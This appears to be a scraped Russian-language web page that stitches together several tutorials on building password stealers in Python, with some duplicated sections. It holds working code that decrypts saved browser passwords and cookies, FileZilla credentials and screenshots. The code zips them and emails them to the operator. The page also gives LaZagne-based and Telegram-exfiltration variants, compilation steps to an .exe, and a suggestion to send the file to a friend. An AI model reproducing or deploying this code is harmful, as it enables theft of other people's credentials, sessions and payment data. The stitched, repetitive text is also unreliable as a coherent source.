'\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close() ################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close() ################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close() ################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close() ################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close() ################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close() ################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg') ################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close() ################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' ################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'ваша новая почта@gmail.com' msg['To'] = 'почта куда отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext) ################################################################################ # СОЗДАНИЕ ВЛОЖЕНИЯ # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part) ################################################################################ # ОТПРАВКА вам # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587) s.starttls() s.login('новая ваша почта гмаил', 'пароль от новой почты гмаил') s.sendmail('новая ваша почта гмаил', 'почта куда отправится', msg.as_string()) s.quit() i = input()

Вот что в архиве.


Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер.
cd и путь к файлу.
Теперь pyinstaller —onefile название вашего файла.py, ентер.
Стиллер на Python с отправкой по почте
Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.
Что для этого нужно?
- Python 3.x.x
- Инструмент для восстановления паролей(в нашем случае LaZagne)
- Два аккаунта Google
И так начинаем
Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.
У нас должна получится такая структура:
Пишем код
Откроем файл main.bat и поместим туда код:
@Echo off laZagne.exe all > pass.txt
Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?
Отправка на почту
Открываем файл send.py и вставляем код:
import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========Код зависящий от сервиса========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #=====Настройки================================= _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files)
Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):
server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit()
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit()
Доделываем .bat
Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:
send.py del /s "pass.txt"
Сборка
Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:
pip install pyinstaller pyinstaller --onefile send.py
Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками(«. «) и ищем ваш файл main.bat, жмем «Открыть», после чего жмем «Convert» и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоваться проверять на работоспособность.
Как написать стиллер на python
Стиллер всего лишь в 2 строки с отправкой в Telegram.
stink уже имеет внушительный функционал, который будет только расширяться.
- Поддержка следующих браузеров:
- Chrome
- Opera
- Opera GX
- Microsoft Edge
- Brave
- Сбор следующих данных:
- Скриншот
- Куки
- Пароли
- Банковские карты
- История
- IP-адрес
- Конфигурация системы
- Активные процессы
- Токены Discord
- Сессии Telegram
- Отправка архива собранных данных в Telegram.
- Выполнение в отдельном потоке.
- Возможность добавления в автозагрузку.
errors — вывод ошибок.
autostart — добавление в автозагрузку.
passwords — сбор паролей.
cookies — сбор куки.
cards — сбор банковских карт.
history — сбор истории поиска.
processes — сбор активных процессов.
system — сбор конфигурации системы.
discord — сбор токенов Discord.
telegram – сбор сессий Telegram.
Все параметры принимают значение bool .
True — функция включена.
False — функция выключена.
По умолчанию все функции включены, кроме вывода ошибок и добавления в автозагрузку.
Настройка Telegram бота
- Открываем чат с BotFather.
- Прописываем команду /newbot .

- Прописываем название бота, затем ник с прикладкой _bot в конце.

- Полученный токен вставляем в поле «YOUR_TOKEN» в скрипте.
- Открываем чат с Get My ID.
- Прописываем команду /start .

- Полученный айди вставляем в поле YOUR_ID в скрипте.
После этого нужно написать боту любое сообщение, чтобы он мог отправлять нам архив.
Python является интерпретируемым языком программирования, поэтому мы сначала транслируем его в C, а затем скомпилируем в .exe файл. Для этого нам понадобится Nuitka.
Стиллер на Python с отправкой по почте
Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.
Что для этого нужно?
- Python 3.x.x
- Инструмент для восстановления паролей(в нашем случае LaZagne)
- Два аккаунта Google
И так начинаем
Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.
У нас должна получится такая структура:
- laZagne.exe
- send.py
- main.bat
Пишем код
Откроем файл main.bat и поместим туда код:
Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?
Отправка на почту
Открываем файл send.py и вставляем код:
Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):
Пишем свой стилер на python [BlackCoding]
Привет хацкер, сегодня сделаем свой пиздатый стиллер на Python’e.
- Стиллинг сохранённых паролей и куков из браузеров(Google Chrome, Chromium, Amigo, Opera, Yandex Browser)
- Скриншот рабочего стола
- Стиллинг токена Discord
- Стиллинг сессий FileZilla
- Логи отправляются в Telegram
Приступим!
Создаём бота у @BotFather копируем токен бота, идём в лс к своему боту и начинаем диалог, далее переходим к этому боту @userinfobot и узнаём свой chat id.
С ботом закончили, открываем cmd и пишем следующие команды:
Теперь открываем IDE и начинаем кодить:
Импортируем нужные библиотеки:
Теперь объявляем переменную username, которая содержит имя пользователя:
Переменные для работы с ботом телеграм:
Сейчас будем воровать пароли от хрома(комментарии отмечены # / #комментарий):
Похожие публикации:
- Как включить версию для слабовидящих
- Как включить заднюю передачу на фольксваген поло механика
- Как включить клавиатуру на ноутбуке леново если она отключилась
- Как включить микрофон на телефоне айфон
